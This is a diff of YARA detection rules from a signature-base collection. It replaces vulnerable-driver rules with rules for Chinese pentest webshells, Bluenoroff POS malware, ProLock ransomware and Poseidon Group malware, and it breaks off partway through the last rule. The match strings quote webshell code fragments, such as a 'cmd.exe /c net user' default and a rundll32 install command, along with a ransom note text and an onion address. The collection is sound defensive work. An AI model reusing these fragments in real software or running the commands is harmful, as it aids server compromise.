-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "---> '.$ports[$i].'<br>'; ob_flush(); flush(); } } echo '</div>'; return true; }" ascii
+		$s1 = "$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = iss" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_7133 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Rootkit : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
-		author = "Florian Roth"
-		id = "1d9df905-34d9-5503-b08d-ea4ff2cd826a"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file rootkit.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ab51abca-0790-541c-9f18-1568809ef113"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1993-L2013"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129"
-		logic_hash = "7abc5f0325fa8552b38499b061dd10f6a4cdb56ba1071446ce6ca91e42b8c9f7"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1066-L1081"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3bfc1c95782e702cf56184e7d438edcf5802eab3"
+		logic_hash = "5569a179f011ece9802676542d5556fe8d2a2b144e26065b9e0c5bd06c970201"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
+		$s0 = "set ss=zsckm.get(\"Win32_ProcessSta\"&uyy&\"rtup\")" fullword ascii
+		$s1 = "If jzgm=\"\"Then jzgm=\"cmd.exe /c net user\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <80KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Lgelectronicsinc_Lhasys_Microsoftwindowsoperatingsystem_23BA : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Jspshell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LHA.sys"
-		author = "Florian Roth"
-		id = "8af33121-526d-5f4c-8cde-6e427f36ad97"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2016-L2037"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "23ba19352b1e71a965260bf4d5120f0200709ee8657ed381043bec9a938a1ade"
-		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
-		logic_hash = "fcc57907a8653acc1175b486f719f029ba3c982dbc73ab0cd878f08b2fcb0aad"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1083-L1098"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d16af622f7688d4e0856a2678c4064d3d120e14b"
+		logic_hash = "9b952f941eb87d7a1b4f747f4e0b0b5ee8876190c6f684b811057a2c78044047"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c00480041 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c004700200045006c0065006300740072006f006e00690063007300200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c00480041002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c00480041002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0075006c00740072006100620069006f007300400068006f0074006d00610069006c002e0063006f006d }
+		$s1 = "else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Proce" ascii
+		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Logmeininc_Lmiinfosys_Logmein_453B : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_Serv_U : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LMIinfo.sys"
-		author = "Florian Roth"
-		id = "50e671ec-752c-5494-97bc-bd29cd7452f1"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2040-L2060"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "453be8f63cc6b116e2049659e081d896491cf1a426e3d5f029f98146a3f44233"
-		logic_hash = "1940aec392f250b22b8480d7b75f0c1a21c7bad13c0e83a4eb6065b3d045e4cd"
-		score = 40
+		description = "Webshell from CN Honker Pentest Toolset - file serv-u.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd37b2c3-e06d-5245-97d7-40e5eeadb76f"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1100-L1117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1c6415a247c08a63e3359b06575b36017befc0c0"
+		logic_hash = "89cfcbaa38c3b0b6c31af634b4588dcc8bc7a5aa3edac955a162173341d03622"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f0067004d00650049006e0020004b00650072006e0065006c00200049006e0066006f0072006d006100740069006f006e002000500072006f00760069006400650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f0067004d00650049006e002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f0067004d00650049006e }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033002d00320030003100370020004c006f0067004d00650049006e002c00200049006e0063002e00200050006100740065006e00740065006400200061006e006400200070006100740065006e00740073002000700065006e00640069006e0067002e }
+		$s1 = "@readfile(\"c:\\\\winnt\\\\system32\\" ascii
+		$s2 = "$sendbuf = \"PASS \".$_POST[\"password\"].\"\\r\\n\";" fullword ascii
+		$s3 = "$cmd=\"cmd /c rundll32.exe $path,install $openPort $activeStr\";" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <435KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_C628 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Webshell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
-		author = "Florian Roth"
-		id = "35330a4b-841a-5e61-b8c1-5e02f61ec021"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file WebShell.cgi"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9fe4c8fd-3955-5405-add2-835e6f64e8f2"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2063-L2083"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c628cda1ef43defc00af45b79949675a8422490d32b080b3a8bb9434242bdbf2"
-		logic_hash = "e7bff1c9a45ea37c1d26aeaa0946bd55387ef6adf318d04196ad6aa55950765a"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1119-L1135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+		logic_hash = "7d80390a86b1858d2cf4f2be56df7e734aea402de0878adf40ef36721719ca74"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310034002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s1 = "$login = crypt($WebShell::Configuration::password, $salt);" fullword ascii
+		$s2 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword ascii
+		$s3 = "warn \"command: '$command'\\n\";" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <30KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2FBB : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Mssql_2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "a688139a-c44f-5a93-933d-73369facec6c"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file mssql.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3f9706d6-7f6e-5120-945a-d5d928d79507"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2086-L2106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2fbbc276737047cb9b3ba5396756d28c1737342d89dce1b64c23a9c4513ae445"
-		logic_hash = "b25969777810ff75d8cc35ae042a58e35f268c09aaa6f7fd6e10b1a1741898b4"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1137-L1153"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ad55512afa109b205e4b1b7968a89df0cf781dc9"
+		logic_hash = "1d4b75eeeddda6e92b8ec38679d5e2b9d21abf2d2b467b91a066dcf628725f0a"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s1 = "sqlpass=request(\"sqlpass\")" fullword ascii
+		$s2 = "set file=fso.createtextfile(server.mappath(request(\"filename\")),8,true)" fullword ascii
+		$s3 = "<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BCED : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "25dd8cda-6aa3-595c-8502-cc83e04b8235"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file asp1.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bf0b1f1e-cf7b-5afb-8e0a-bcfd70fc8887"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2109-L2129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f"
-		logic_hash = "21a234179b5f2ae97262100f990587238339777bf919f8a9f04e84e64c77fb1d"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L1155-L1171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "78b5889b363043ed8a60bed939744b4b19503552"
+		logic_hash = "3b454b1254d05b2208aee02e966c9c56a338dd3d33a2c6acc2c4df3208314055"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e00330030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e00330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300035 }
+		$s1 = "SItEuRl=" ascii
+		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
+		$s3 = "Server.ScriptTimeout=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_082C : FILE
+rule SIGNATURE_BASE_Bluenoroffpos_DLL
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow8x64.sys"
+		description = "Bluenoroff POS malware - hkp.dll"
 		author = "Florian Roth"
-		id = "48446c71-f353-5f4f-a158-20bc7dec694f"
-		date = "2023-06-14"
+		id = "d2b34b50-c7eb-5852-ba5d-734dd5038c2e"
+		date = "2018-06-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2132-L2152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d"
-		logic_hash = "805a4da51dd1a85c46b830b747ed15f5cfb7539b42fd598987d3cd879d93cc97"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "http://blog.trex.re.kr/3?category=737685"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_bluenoroff_pos.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39f23045b3e5ef60c199091b7f01ac2a3a31bcb95219aebb9a4cfd0764886f19"
+		score = 75
+		quality = 73
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
+		$dll = "ksnetadsl.dll" ascii wide fullword nocase
+		$exe = "xplatform.exe" ascii wide fullword nocase
+		$agent = "Nimo Software HTTP Retriever 1.0" ascii wide nocase
+		$log_file = "c:\\windows\\temp\\log.tmp" ascii wide nocase
+		$base_addr = "%d-BaseAddr:0x%x" ascii wide nocase
+		$func_addr = "%d-FuncAddr:0x%x" ascii wide nocase
+		$HF_S = "HF-S(%d)" ascii wide
+		$HF_T = "HF-T(%d)" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_D1F4 : FILE
+rule SIGNATURE_BASE_MAL_Prolock_Malware : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "c1e8abd1-14c1-5ddd-87cb-647dfcc652fd"
-		date = "2023-06-14"
+		description = "Detects Prolock malware in encrypted and decrypted mode"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "269bf0c5-8315-5405-8e44-e2cc5507a36a"
+		date = "2020-05-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2155-L2175"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1f4949f76d8ac9f2fa844d16b1b45fb1375d149d46e414e4a4c9424dc66c91f"
-		logic_hash = "8152947116f7cb31e716db449c855255c30f5034d065e8287cf480157274ba9b"
-		score = 40
+		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_prolock.yar#L1-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "da8a0ec683475019daddd4acdd00d4c36eedacad3deef2be4220b86cbf5f9df0"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
+		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00320020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$DecryptionRoutine = {01 C2 31 DB B8 ?? ?? ?? ?? 31 04 1A 81 3C 1A}
+		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
+		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
+		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
+		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		(( uint16(0)==0x5A4D) or ( uint16(0)==0x4D42)) and filesize <100KB and (($DecryptionRoutine) or (1 of ($DecryptedString*) and $CryptoCode))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_7CB4 : FILE
+rule SIGNATURE_BASE_Poseidongroup_Malware : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "b578c798-3923-51b7-80c7-b4e123dc8747"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2178-L2198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7cb497abc44aad09a38160d6a071db499e05ff5871802ccc45d565d242026ee7"
-		logic_hash = "bec5e91150c9c0760c91f8a2b4b83867af030ede236c8596c3558e0f8fca1004"
-		score = 40
+		description = "Detects Poseidon Group Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fe8b227a-d93d-5540-ba73-3f20358205f6"
+		date = "2016-02-09"
